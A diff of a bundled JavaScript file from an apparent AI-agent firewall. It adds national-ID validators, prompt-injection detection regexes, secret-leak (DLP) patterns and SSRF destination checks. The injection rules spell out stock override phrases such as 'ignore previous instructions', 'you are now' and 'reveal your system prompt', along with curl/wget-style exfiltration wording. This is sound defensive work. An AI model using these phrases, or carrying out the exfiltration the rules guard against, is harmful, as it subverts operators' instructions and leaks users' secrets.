const digits = m[1] + m[2] + m[3];
|
|
8999
|
+
const weights = [5, 4, 3, 2, 7, 6, 5, 4];
|
|
9000
|
+
let sum = 0;
|
|
9001
|
+
for (let i = 0; i < 8; i++) sum += (digits.charCodeAt(i) - 48) * weights[i];
|
|
9002
|
+
const check = 11 - sum % 11;
|
|
9003
|
+
if (check === 10) return false;
|
|
9004
|
+
return (check === 11 ? 0 : check) === digits.charCodeAt(8) - 48;
|
|
8321
9005
|
}
|
|
8322
|
-
|
|
8323
|
-
|
|
8324
|
-
|
|
8325
|
-
|
|
8326
|
-
|
|
8327
|
-
|
|
8328
|
-
|
|
8329
|
-
|
|
8330
|
-
|
|
8331
|
-
|
|
8332
|
-
|
|
8333
|
-
|
|
8334
|
-
|
|
9006
|
+
function validateSwedishPersonnummer(raw) {
|
|
9007
|
+
const m = /^(\d{2})(\d{2})(\d{2})[-+](\d{4})$/.exec(raw);
|
|
9008
|
+
if (!m) return false;
|
|
9009
|
+
if (!plausibleDate(m[2], m[3])) return false;
|
|
9010
|
+
const digits = m[1] + m[2] + m[3] + m[4];
|
|
9011
|
+
let sum = 0;
|
|
9012
|
+
for (let i = 0; i < 10; i++) {
|
|
9013
|
+
let d = digits.charCodeAt(i) - 48;
|
|
9014
|
+
if (i % 2 === 0) {
|
|
9015
|
+
d *= 2;
|
|
9016
|
+
if (d > 9) d -= 9;
|
|
9017
|
+
}
|
|
9018
|
+
sum += d;
|
|
8335
9019
|
}
|
|
8336
|
-
return
|
|
9020
|
+
return sum % 10 === 0;
|
|
8337
9021
|
}
|
|
8338
|
-
function
|
|
8339
|
-
|
|
8340
|
-
|
|
8341
|
-
|
|
8342
|
-
|
|
8343
|
-
|
|
8344
|
-
|
|
8345
|
-
|
|
8346
|
-
|
|
8347
|
-
|
|
8348
|
-
|
|
9022
|
+
function validateNorwegianFnr(raw) {
|
|
9023
|
+
if (!/^\d{11}$/.test(raw)) return false;
|
|
9024
|
+
if (!plausibleDate(raw.slice(2, 4), raw.slice(0, 2))) return false;
|
|
9025
|
+
const control = (weights, upto) => {
|
|
9026
|
+
let sum = 0;
|
|
9027
|
+
for (let i = 0; i < upto; i++) sum += (raw.charCodeAt(i) - 48) * weights[i];
|
|
9028
|
+
const k = 11 - sum % 11;
|
|
9029
|
+
return k === 11 ? 0 : k;
|
|
9030
|
+
};
|
|
9031
|
+
const k1 = control([3, 7, 6, 1, 8, 9, 4, 5, 2], 9);
|
|
9032
|
+
const k2 = control([5, 4, 3, 2, 7, 6, 5, 4, 3, 2], 10);
|
|
9033
|
+
return k1 < 10 && k2 < 10 && k1 === raw.charCodeAt(9) - 48 && k2 === raw.charCodeAt(10) - 48;
|
|
9034
|
+
}
|
|
9035
|
+
var HETU_CHARS = "0123456789ABCDEFHJKLMNPRSTUVWXY";
|
|
9036
|
+
function validateFinnishHetu(raw) {
|
|
9037
|
+
const m = /^(\d{2})(\d{2})(\d{2})[-+A-FU-Y](\d{3})([0-9A-Y])$/.exec(raw.toUpperCase());
|
|
9038
|
+
if (!m) return false;
|
|
9039
|
+
if (!plausibleDate(m[2], m[1])) return false;
|
|
9040
|
+
const n = Number(m[1] + m[2] + m[3] + m[4]);
|
|
9041
|
+
return HETU_CHARS[n % 31] === m[5];
|
|
8349
9042
|
}
|
|
8350
9043
|
|
|
8351
9044
|
// src/dlp/injection.ts
|
|
@@ -8355,12 +9048,16 @@ var SIGNALS = [
|
|
|
8355
9048
|
{
|
|
8356
9049
|
name: "override-instructions",
|
|
8357
9050
|
any: [
|
|
8358
|
-
// "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules"
|
|
8359
|
-
/\b(ignore|disregard|forget)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?)\b/i,
|
|
9051
|
+
// "ignore/disregard/forget ... (previous|all|the|your) ... instructions/prompt/rules/commands/tasks"
|
|
9052
|
+
/\b(ignore|disregard|forget|discard)\b[^.!?\n]{0,40}\b(previous|prior|earlier|above|all|the|your)\b[^.!?\n]{0,24}\b(instruction|instructions|prompt|context|rules?|directives?|commands?|tasks?|guidelines?)\b/i,
|
|
8360
9053
|
/\byou are now\b/i,
|
|
8361
|
-
/\bnew instructions
|
|
9054
|
+
/\bnew (instructions?|directives?)\s*:/i,
|
|
9055
|
+
/\bnew directive\b/i,
|
|
9056
|
+
/\boverride\s*:/i,
|
|
9057
|
+
/\bsystem note\s*:/i,
|
|
8362
9058
|
/\bdeveloper mode\b/i,
|
|
8363
9059
|
/\bignore (the )?system prompt\b/i,
|
|
9060
|
+
/\b(reveal|print|show|output|repeat|display|dump)\b[^.!?\n]{0,30}\b(system prompt|hidden instructions|initial instructions|your instructions)\b/i,
|
|
8364
9061
|
/\b(do not|don'?t|never)\b[^.!?\n]{0,20}\btell the (user|human)\b/i,
|
|
8365
9062
|
/\boverride (your|the)\b[^.!?\n]{0,20}\b(instruction|instructions|programming|rules?|guardrails?)\b/i
|
|
8366
9063
|
]
|
|
@@ -8371,6 +9068,7 @@ var SIGNALS = [
|
|
|
8371
9068
|
/^\s*(system|assistant)\s*:/im,
|
|
8372
9069
|
// a line impersonating a conversation turn
|
|
8373
9070
|
/<\/?system>/i,
|
|
9071
|
+
/\[\s*system\s*\]/i,
|
|
8374
9072
|
/\[\/?INST\]/i,
|
|
8375
9073
|
/<\|im_(start|end)\|>/i
|
|
8376
9074
|
]
|
|
@@ -8378,13 +9076,36 @@ var SIGNALS = [
|
|
|
8378
9076
|
{
|
|
8379
9077
|
name: "action-to-destination",
|
|
8380
9078
|
any: [
|
|
8381
|
-
// exfil verb + to/at + a url / email / domain
|
|
8382
|
-
|
|
9079
|
+
// exfil verb + to/at/with/into + a url / email / domain. "email" after a
|
|
9080
|
+
// possessive ("your email", "my email") is the noun, not the verb (X4).
|
|
9081
|
+
// "log in to", "report issues at", "share feedback with" and "submit
|
|
9082
|
+
// your form at" are how ordinary pages talk, so log, report, share and
|
|
9083
|
+
// submit count only in the past tense ("logged to", "shared with").
|
|
9084
|
+
// A dot inside a word (a host, a file name) does not end the window; a
|
|
9085
|
+
// dot that ends a sentence does.
|
|
9086
|
+
/\b(send|sent|post(?:ed)?|upload(?:ed)?|exfiltrate[sd]?|forward(?:ed|s)?|transmit(?:ted|s)?|shared|submitted|logged|reported|curl|wget|leak(?:ed|s)?|(?<!\b(?:your|my|the|an|a|this|that|our|their|his|her)\s+)email(?:ed|s)?)\b(?:[^.\n!?]|\.(?=\S)){0,40}\b(to|at|with|into)\b(?:[^.\n!?]|\.(?=\S)){0,24}(https?:\/\/|[\w.-]+@[\w.-]+\.[a-z]{2,}|[\w-]+\.[a-z]{2,})/i,
|
|
8383
9087
|
/\brun (the )?following (command|code|script)\b/i,
|
|
8384
|
-
/\bexecute (this|the following)\b/i
|
|
9088
|
+
/\bexecute (this|the following)\b/i,
|
|
9089
|
+
/\bdecode\b[^.!?\n]{0,40}\b(and|then)\b[^.!?\n]{0,12}\b(execute|run|eval)\b/i,
|
|
9090
|
+
/\bcall\b[^.!?\n]{0,30}\b(tool|function|endpoint)\b[^.!?\n]{0,30}\b(url|link|address)\b/i
|
|
8385
9091
|
]
|
|
8386
9092
|
}
|
|
8387
9093
|
];
|
|
9094
|
+
var MENTION_QUOTE_RE = /["'`“‘(]\s*$/;
|
|
9095
|
+
var MENTION_WORD_RE = /\b(?:say|says|saying|said|such as|like|pattern|patterns|phrase|phrases|string|strings|text|e\.g\.|example|examples|contains?|containing|detects?|filters?|flags?|blocks?|matches|keywords?|wording|marker|markers)\b/i;
|
|
9096
|
+
function matchesOutsideMention(re, text) {
|
|
9097
|
+
const g = new RegExp(re.source, re.flags.includes("g") ? re.flags : re.flags + "g");
|
|
9098
|
+
let m;
|
|
9099
|
+
while ((m = g.exec(text)) !== null) {
|
|
9100
|
+
if (m[0].length === 0) {
|
|
9101
|
+
g.lastIndex = m.index + 1;
|
|
9102
|
+
continue;
|
|
9103
|
+
}
|
|
9104
|
+
const before = text.slice(Math.max(0, m.index - 48), m.index);
|
|
9105
|
+
if (!(MENTION_QUOTE_RE.test(before) && MENTION_WORD_RE.test(before))) return true;
|
|
9106
|
+
}
|
|
9107
|
+
return false;
|
|
9108
|
+
}
|
|
8388
9109
|
function scanInjection(text, ctx = {}) {
|
|
8389
9110
|
if (!text) return null;
|
|
8390
9111
|
const t = text.length > MAX ? text.slice(0, MAX) : text;
|
|
@@ -8392,7 +9113,8 @@ function scanInjection(text, ctx = {}) {
|
|
|
8392
9113
|
for (const view of scanViews(t)) {
|
|
8393
9114
|
for (const sig of SIGNALS) {
|
|
8394
9115
|
if (matched.includes(sig.name)) continue;
|
|
8395
|
-
|
|
9116
|
+
const hit = sig.name === "override-instructions" ? sig.any.some((re) => matchesOutsideMention(re, view.text)) : sig.any.some((re) => re.test(view.text));
|
|
9117
|
+
if (hit) matched.push(sig.name);
|
|
8396
9118
|
}
|
|
8397
9119
|
}
|
|
8398
9120
|
if (matched.length === 0) return null;
|
|
@@ -8487,7 +9209,7 @@ function looksGenerated(value, minLength, minEntropy, lettersOnlyAllowed = false
|
|
|
8487
9209
|
if (rejectedByStructuredValidator(value)) return false;
|
|
8488
9210
|
return shannonEntropy(value) >= minEntropy;
|
|
8489
9211
|
}
|
|
8490
|
-
var FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)/i;
|
|
9212
|
+
var FIXTURE_NAME_RE = /(?:fake|dummy|example|sample|mock|stub|placeholder|test)|^public/i;
|
|
8491
9213
|
var DERIVATIVE_NAME_RE = /(?:hash|digest|fingerprint|thumbprint|checksum|id|type|name|url|uri|path|file|len|length|count|size|ttl|expires?|expiry|age|date|time|format|field|header|param)$/i;
|
|
8492
9214
|
function nameHoldsCredential(name) {
|
|
8493
9215
|
return !FIXTURE_NAME_RE.test(name) && !DERIVATIVE_NAME_RE.test(name);
|
|
@@ -8506,9 +9228,9 @@ function validateQueryCredential(raw) {
|
|
|
8506
9228
|
if (!/[0-9]/.test(value) || !/[A-Za-z]/.test(value)) return false;
|
|
8507
9229
|
return looksGenerated(value, 12, 3);
|
|
8508
9230
|
}
|
|
8509
|
-
var ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_
|
|
9231
|
+
var ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})$/;
|
|
8510
9232
|
var ASSIGNED_SECRET_NAME_RE = /^([A-Za-z0-9_]+)/;
|
|
8511
|
-
var NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
9233
|
+
var NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|pass)/i;
|
|
8512
9234
|
function keywordEndsAPart(name) {
|
|
8513
9235
|
const keyword = name.match(NAME_KEYWORD_RE)?.[0];
|
|
8514
9236
|
if (!keyword) return false;
|
|
@@ -8526,7 +9248,64 @@ function validateAssignedSecret(raw, before = "") {
|
|
|
8526
9248
|
if (ARN_CONTEXT_RE.test(before)) return false;
|
|
8527
9249
|
const prefix = (before.match(/[A-Za-z0-9_]*$/)?.[0] ?? "") + (raw.startsWith("_") ? "_" : "");
|
|
8528
9250
|
if (!nameHoldsCredential(prefix + name)) return false;
|
|
8529
|
-
|
|
9251
|
+
if (isOtpDocSecret(value)) return false;
|
|
9252
|
+
const mixed = /[0-9]/.test(value) && /[A-Za-z]/.test(value);
|
|
9253
|
+
return looksGenerated(value, 12, mixed ? 3 : 3.5);
|
|
9254
|
+
}
|
|
9255
|
+
var CIPHER_KEY_NAME_RE = /^([A-Za-z_][\w.]{0,40})/;
|
|
9256
|
+
var CIPHER_NAME_PARTS = /* @__PURE__ */ new Set([
|
|
9257
|
+
"cipher",
|
|
9258
|
+
"aes",
|
|
9259
|
+
"enc",
|
|
9260
|
+
"encrypt",
|
|
9261
|
+
"encryption",
|
|
9262
|
+
"crypt",
|
|
9263
|
+
"crypto",
|
|
9264
|
+
"secret",
|
|
9265
|
+
"remember",
|
|
9266
|
+
"rememberme",
|
|
9267
|
+
"shiro",
|
|
9268
|
+
"signing",
|
|
9269
|
+
"hmac",
|
|
9270
|
+
"master",
|
|
9271
|
+
"private",
|
|
9272
|
+
"des"
|
|
9273
|
+
]);
|
|
9274
|
+
var CIPHER_KEY_VALUE_RE = /([A-Za-z0-9+/]{22}==)$/;
|
|
9275
|
+
function validateCipherKeyLiteral(raw) {
|
|
9276
|
+
const name = capturedValue(raw, CIPHER_KEY_NAME_RE);
|
|
9277
|
+
const value = capturedValue(raw, CIPHER_KEY_VALUE_RE);
|
|
9278
|
+
if (name === null || value === null) return false;
|
|
9279
|
+
if (/pub/i.test(name) || !nameHoldsCredential(name)) return false;
|
|
9280
|
+
const parts = name.replace(/([a-z0-9])([A-Z])/g, "$1_$2").toLowerCase().split(/[_.-]+/);
|
|
9281
|
+
if (!parts.some((p) => CIPHER_NAME_PARTS.has(p))) return false;
|
|
9282
|
+
if (!/[a-z]/.test(value) || !/[A-Z]/.test(value) || !/[0-9]/.test(value)) return false;
|
|
9283
|
+
const bytes = Buffer.from(value, "base64");
|
|
9284
|
+
return bytes.length === 16 && bytes.toString("base64") === value;
|
|
9285
|
+
}
|
|
9286
|
+
var LARAVEL_KEY_VALUE_RE = /base64:([A-Za-z0-9+/]{43}=)$/;
|
|
9287
|
+
function validateLaravelAppKey(raw) {
|
|
9288
|
+
const value = capturedValue(raw, LARAVEL_KEY_VALUE_RE);
|
|
9289
|
+
if (value === null) return false;
|
|
9290
|
+
const bytes = Buffer.from(value, "base64");
|
|
9291
|
+
return bytes.length === 32 && bytes.toString("base64") === value && shannonEntropy(value) >= 3;
|
|
9292
|
+
}
|
|
9293
|
+
var SQL_PASSWORD_VALUE_RE = /['"]([^'"\s]{8,128})['"]$/;
|
|
9294
|
+
function validateSqlPassword(raw) {
|
|
9295
|
+
const value = capturedValue(raw, SQL_PASSWORD_VALUE_RE);
|
|
9296
|
+
if (value === null) return false;
|
|
9297
|
+
const lower2 = value.toLowerCase();
|
|
9298
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw)) || REFERENCE_VALUE_RE.test(value))
|
|
9299
|
+
return false;
|
|
9300
|
+
if (/^[a-z]+$/i.test(value) && value.length < 12) return false;
|
|
9301
|
+
return shannonEntropy(value) >= 2.5 && !hasSequentialRun(value);
|
|
9302
|
+
}
|
|
9303
|
+
var GRAFANA_KEY_VALUE_RE = /(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})$/;
|
|
9304
|
+
function validateGrafanaApiKey(raw) {
|
|
9305
|
+
const value = capturedValue(raw, GRAFANA_KEY_VALUE_RE);
|
|
9306
|
+
if (value === null) return false;
|
|
9307
|
+
const text = Buffer.from(value, "base64").toString("utf8");
|
|
9308
|
+
return /^\{"k":"[A-Za-z0-9]{16,}"/.test(text);
|
|
8530
9309
|
}
|
|
8531
9310
|
var BASIC_VALUE_RE = /([A-Za-z0-9+/]{8,512}={0,2})$/;
|
|
8532
9311
|
var BASIC_PAIR_RE = /^([^:\s]{1,128}):(\S{8,256})$/;
|
|
@@ -8552,6 +9331,14 @@ function validateBasicCredential(raw) {
|
|
|
8552
9331
|
return shannonEntropy(password) >= 3;
|
|
8553
9332
|
}
|
|
8554
9333
|
var OTP_CAPTURE_RE = /["']([A-Z2-7]{16,128}=*)["']$/i;
|
|
9334
|
+
var DB_URL_PASSWORD_RE = /:\/\/[^:/\s@]*:([^@\s]{4,})@/;
|
|
9335
|
+
function validateDbConnectionString(raw) {
|
|
9336
|
+
const password = capturedValue(raw, DB_URL_PASSWORD_RE);
|
|
9337
|
+
if (password === null) return false;
|
|
9338
|
+
const lower2 = password.toLowerCase();
|
|
9339
|
+
if (DLP_STOPWORDS.some((sw) => lower2.includes(sw))) return false;
|
|
9340
|
+
return shannonEntropy(raw) >= 3;
|
|
9341
|
+
}
|
|
8555
9342
|
function validateOtpSecret(raw) {
|
|
8556
9343
|
const secret = capturedValue(raw, OTP_CAPTURE_RE);
|
|
8557
9344
|
if (secret === null || isOtpDocSecret(secret)) return false;
|
|
@@ -8754,7 +9541,8 @@ var DLP_PATTERNS = [
|
|
|
8754
9541
|
// ── Private keys (PEM) ────────────────────────────────────────────────────
|
|
8755
9542
|
{
|
|
8756
9543
|
name: "Private Key (PEM)",
|
|
8757
|
-
|
|
9544
|
+
// DSA and ENCRYPTED headers, and a PGP private key block (node9Firewall#385).
|
|
9545
|
+
regex: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED |PGP )?PRIVATE KEY(?: BLOCK)?-----/,
|
|
8758
9546
|
severity: "block",
|
|
8759
9547
|
keywords: ["-----begin"]
|
|
8760
9548
|
},
|
|
@@ -9035,7 +9823,7 @@ var DLP_PATTERNS = [
|
|
|
9035
9823
|
"clickhouse",
|
|
9036
9824
|
"cassandra"
|
|
9037
9825
|
],
|
|
9038
|
-
|
|
9826
|
+
validate: validateDbConnectionString
|
|
9039
9827
|
},
|
|
9040
9828
|
// ── Credential in a URL query value ───────────────────────────────────────
|
|
9041
9829
|
// A query parameter whose key names a secret (`?secret=`, `&apiKey=`,
|
|
@@ -9064,6 +9852,63 @@ var DLP_PATTERNS = [
|
|
|
9064
9852
|
redactGroup: 1,
|
|
9065
9853
|
argumentsOnly: true
|
|
9066
9854
|
},
|
|
9855
|
+
// ── Shapes from the CredData review (fw#372 B4, node9Firewall#385) ────────
|
|
9856
|
+
// All review and argumentsOnly, like Assigned Secret: the live gate asks,
|
|
9857
|
+
// the raw scanners stay as they were.
|
|
9858
|
+
{
|
|
9859
|
+
name: "Cipher Key Literal",
|
|
9860
|
+
regex: /\b([A-Za-z_][\w.]{0,40}key)[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/]{22}==)/i,
|
|
9861
|
+
severity: "review",
|
|
9862
|
+
keywords: ["key"],
|
|
9863
|
+
validate: validateCipherKeyLiteral,
|
|
9864
|
+
redactGroup: 2,
|
|
9865
|
+
argumentsOnly: true
|
|
9866
|
+
},
|
|
9867
|
+
{
|
|
9868
|
+
name: "Laravel App Key",
|
|
9869
|
+
regex: /\bAPP_KEY[ \t]{0,8}=[ \t]{0,8}["']?(base64:[A-Za-z0-9+/]{43}=)/,
|
|
9870
|
+
severity: "review",
|
|
9871
|
+
keywords: ["app_key"],
|
|
9872
|
+
validate: validateLaravelAppKey,
|
|
9873
|
+
redactGroup: 1,
|
|
9874
|
+
argumentsOnly: true
|
|
9875
|
+
},
|
|
9876
|
+
{
|
|
9877
|
+
// `key-` plus 32 hex characters, Mailgun's legacy private key shape.
|
|
9878
|
+
name: "Mailgun API Key",
|
|
9879
|
+
regex: /\bkey-[0-9a-f]{32}\b/,
|
|
9880
|
+
severity: "review",
|
|
9881
|
+
keywords: ["key-"],
|
|
9882
|
+
argumentsOnly: true
|
|
9883
|
+
},
|
|
9884
|
+
{
|
|
9885
|
+
// A kubeadm bootstrap token, named as one by its flag or key.
|
|
9886
|
+
name: "Kubeadm Bootstrap Token",
|
|
9887
|
+
regex: /(?:--token[= ]|\btoken:[ \t]{0,8}|--discovery-token[= ])([a-z0-9]{6}\.[a-z0-9]{16})\b/,
|
|
9888
|
+
severity: "review",
|
|
9889
|
+
keywords: ["token"],
|
|
9890
|
+
redactGroup: 1,
|
|
9891
|
+
argumentsOnly: true
|
|
9892
|
+
},
|
|
9893
|
+
{
|
|
9894
|
+
// `CREATE USER ... IDENTIFIED BY 'x'` (MySQL, Oracle), `WITH PASSWORD 'x'` (Postgres).
|
|
9895
|
+
name: "SQL Account Password",
|
|
9896
|
+
regex: /\b(?:IDENTIFIED\s+BY|WITH\s+PASSWORD)\s*['"]([^'"\s]{8,128})['"]/i,
|
|
9897
|
+
severity: "review",
|
|
9898
|
+
keywords: ["identified by", "with password"],
|
|
9899
|
+
validate: validateSqlPassword,
|
|
9900
|
+
redactGroup: 1,
|
|
9901
|
+
argumentsOnly: true
|
|
9902
|
+
},
|
|
9903
|
+
{
|
|
9904
|
+
// The provisioned (legacy) Grafana API key: base64 of a JSON object with k, n and id.
|
|
9905
|
+
name: "Grafana API Key",
|
|
9906
|
+
regex: /\b(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})/,
|
|
9907
|
+
severity: "block",
|
|
9908
|
+
keywords: ["eyjrijoi"],
|
|
9909
|
+
validate: validateGrafanaApiKey,
|
|
9910
|
+
redactGroup: 1
|
|
9911
|
+
},
|
|
9067
9912
|
// ── Secret assigned to a telling name ─────────────────────────────────────
|
|
9068
9913
|
// `password: ...`, `JWT_SECRET=...`, `api_key = "..."`. The name alone is
|
|
9069
9914
|
// not a finding: most such lines hold a reference (`process.env.X`), a
|
|
@@ -9076,7 +9921,10 @@ var DLP_PATTERNS = [
|
|
|
9076
9921
|
// name are written out, not as a counted group, to keep star height 1.
|
|
9077
9922
|
{
|
|
9078
9923
|
name: "Assigned Secret",
|
|
9079
|
-
|
|
9924
|
+
// fw#372 B4: `aes_key`, `cipher_key`, `subscription_key` join the names; a
|
|
9925
|
+
// backtick may close the name; `|` and `\` may occur in the value
|
|
9926
|
+
// (`\/` is how JSON escapes a slash).
|
|
9927
|
+
regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]`]?\\?["'\]`]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})/i,
|
|
9080
9928
|
severity: "review",
|
|
9081
9929
|
keywords: ["pass", "pwd", "secret", "token", "key", "ticket"],
|
|
9082
9930
|
validate: validateAssignedSecret,
|
|
@@ -9342,8 +10190,8 @@ function scanArgs(args, depth = 0, fieldPath = "args") {
|
|
|
9342
10190
|
}
|
|
9343
10191
|
return null;
|
|
9344
10192
|
}
|
|
9345
|
-
|
|
9346
|
-
|
|
10193
|
+
var ENCODED_RUN_RE = /[A-Za-z0-9+/_-]{24,}|(?:%[0-9a-fA-F]{2}){4,}/;
|
|
10194
|
+
function scanTextOnce(t, redactedSample) {
|
|
9347
10195
|
const tLower = t.toLowerCase();
|
|
9348
10196
|
for (const pattern of DLP_PATTERNS) {
|
|
9349
10197
|
if (pattern.argumentsOnly) continue;
|
|
@@ -9355,12 +10203,26 @@ function scanText(text) {
|
|
|
9355
10203
|
return {
|
|
9356
10204
|
patternName: pattern.name,
|
|
9357
10205
|
fieldPath: "response-text",
|
|
9358
|
-
redactedSample: maskSecret(raw, pattern.regex),
|
|
10206
|
+
redactedSample: redactedSample ?? maskSecret(raw, pattern.regex),
|
|
9359
10207
|
severity: pattern.severity
|
|
9360
10208
|
};
|
|
9361
10209
|
}
|
|
9362
10210
|
return null;
|
|
9363
10211
|
}
|
|
10212
|
+
function scanText(text) {
|
|
10213
|
+
const t = text.length > MAX_STRING_BYTES ? text.slice(0, MAX_STRING_BYTES) : text;
|
|
10214
|
+
const direct = scanTextOnce(t);
|
|
10215
|
+
if (direct) return direct;
|
|
10216
|
+
if (!ENCODED_RUN_RE.test(t)) return null;
|
|
10217
|
+
try {
|
|
10218
|
+
for (const view of secretViews(t, newSecretViewBudget())) {
|
|
10219
|
+
const m = scanTextOnce(view.text, "[encoded secret]");
|
|
10220
|
+
if (m) return m;
|
|
10221
|
+
}
|
|
10222
|
+
} catch {
|
|
10223
|
+
}
|
|
10224
|
+
return null;
|
|
10225
|
+
}
|
|
9364
10226
|
function redactText(text) {
|
|
9365
10227
|
let result = text;
|
|
9366
10228
|
const found = [];
|
|
@@ -11082,20 +11944,38 @@ function hostOf(value) {
|
|
|
11082
11944
|
}
|
|
11083
11945
|
function extractToolDestinations(toolName, args) {
|
|
11084
11946
|
try {
|
|
11085
|
-
const paths = DESTINATION_ARGS.get(bareToolName(toolName));
|
|
11086
|
-
if (!paths) return [];
|
|
11087
11947
|
const out = [];
|
|
11948
|
+
const paths = DESTINATION_ARGS.get(bareToolName(toolName)) ?? [];
|
|
11088
11949
|
for (const path of paths) {
|
|
11089
11950
|
for (const value of valuesAt(args, path)) {
|
|
11090
11951
|
const host2 = hostOf(value);
|
|
11091
11952
|
if (host2) out.push({ host: host2, binary: toolName, raw: value });
|
|
11092
11953
|
}
|
|
11093
11954
|
}
|
|
11955
|
+
if (paths.length === 0 && /^mcp__/i.test(toolName) && args && typeof args === "object") {
|
|
11956
|
+
for (const key of MCP_DESTINATION_KEYS) {
|
|
11957
|
+
const value = args[key];
|
|
11958
|
+
if (typeof value !== "string") continue;
|
|
11959
|
+
const host2 = hostOf(value);
|
|
11960
|
+
if (host2) out.push({ host: host2, binary: toolName, raw: value });
|
|
11961
|
+
}
|
|
11962
|
+
}
|
|
11094
11963
|
return out;
|
|
11095
11964
|
} catch {
|
|
11096
11965
|
return [];
|
|
11097
11966
|
}
|
|
11098
11967
|
}
|
|
11968
|
+
var MCP_DESTINATION_KEYS = [
|
|
11969
|
+
"destination",
|
|
11970
|
+
"endpoint",
|
|
11971
|
+
"webhook",
|
|
11972
|
+
"webhook_url",
|
|
11973
|
+
"callback_url"
|
|
11974
|
+
];
|
|
11975
|
+
function writtenAuthority(value) {
|
|
11976
|
+
const m = /^[a-z][a-z0-9+.-]*:\/\/(?:[^@/?#]*@)?(\[[^\]]*\]|[^:/?#]*)/i.exec(value);
|
|
11977
|
+
return m && m[1] ? m[1] : null;
|
|
11978
|
+
}
|
|
11099
11979
|
function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
11100
11980
|
try {
|
|
11101
11981
|
const paths = DESTINATION_ARGS.get(bareToolName(toolName));
|
|
@@ -11106,9 +11986,11 @@ function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
|
11106
11986
|
if (!host2) continue;
|
|
11107
11987
|
const m = classifySsrf(host2);
|
|
11108
11988
|
if (!m) continue;
|
|
11109
|
-
|
|
11110
|
-
|
|
11111
|
-
|
|
11989
|
+
const written = writtenAuthority(value) ?? host2;
|
|
11990
|
+
const decision = ssrfFloorDecision(m, written, opts);
|
|
11991
|
+
if (decision === null) continue;
|
|
11992
|
+
const reason = decision === "review" ? ssrfDisguisedReason(m, written) : ssrfReason(m, host2);
|
|
11993
|
+
return { ...m, argPath: path, host: host2, reason, decision };
|
|
11112
11994
|
}
|
|
11113
11995
|
}
|
|
11114
11996
|
return null;
|
|
@@ -11117,207 +11999,6 @@ function ssrfDestinationFloor(toolName, args, opts = {}) {
|
|
|
11117
11999
|
}
|
|
11118
12000
|
}
|
|
11119
12001
|
|
|
11120
|
-
// src/dlp/secret-views.ts
|
|
11121
|
-
var SECRET_VIEW_LIMITS = {
|
|
11122
|
-
/** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
|
|
11123
|
-
maxDepth: 4,
|
|
11124
|
-
/** Nested views per parent view, and nested text per call; past either the call is reviewed. */
|
|
11125
|
-
maxNestedViewsPerLeaf: 64,
|
|
11126
|
-
maxNestedBytes: 1048576,
|
|
11127
|
-
/** Joined hostname-label text per call; past it the call is reviewed. */
|
|
11128
|
-
maxJoinedLabelBytes: 1048576,
|
|
11129
|
-
/** Decoded fragments are matched in batches of about this many characters. */
|
|
11130
|
-
batchCharacters: 65536,
|
|
11131
|
-
/** Only a valid DNS name has its labels joined. */
|
|
11132
|
-
maxHostLength: 253,
|
|
11133
|
-
maxLabelLength: 63,
|
|
11134
|
-
maxLabels: 127
|
|
11135
|
-
};
|
|
11136
|
-
function newSecretViewBudget() {
|
|
11137
|
-
return { hashes: 0, nestedBytes: 0, joinedLabelBytes: 0, reasons: /* @__PURE__ */ new Set() };
|
|
11138
|
-
}
|
|
11139
|
-
function textBytes(buf) {
|
|
11140
|
-
if (buf.length < 16) return null;
|
|
11141
|
-
const text = buf.toString("utf8");
|
|
11142
|
-
if (!Buffer.from(text).equals(buf) || /[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/.test(text)) return null;
|
|
11143
|
-
return text;
|
|
11144
|
-
}
|
|
11145
|
-
function percentOnce(text) {
|
|
11146
|
-
return text.replace(/(?:%[a-f0-9]{2})+/gi, (run) => {
|
|
11147
|
-
try {
|
|
11148
|
-
return decodeURIComponent(run);
|
|
11149
|
-
} catch {
|
|
11150
|
-
return run.replace(
|
|
11151
|
-
/%([a-f0-9]{2})/gi,
|
|
11152
|
-
(_, h) => String.fromCharCode(parseInt(h, 16))
|
|
11153
|
-
);
|
|
11154
|
-
}
|
|
11155
|
-
});
|
|
11156
|
-
}
|
|
11157
|
-
function* wrappedBase64(text) {
|
|
11158
|
-
if (!text.includes("\n")) return;
|
|
11159
|
-
const word = /^[A-Za-z0-9+/_-]+={0,2}$/;
|
|
11160
|
-
let run = [];
|
|
11161
|
-
let width = 0;
|
|
11162
|
-
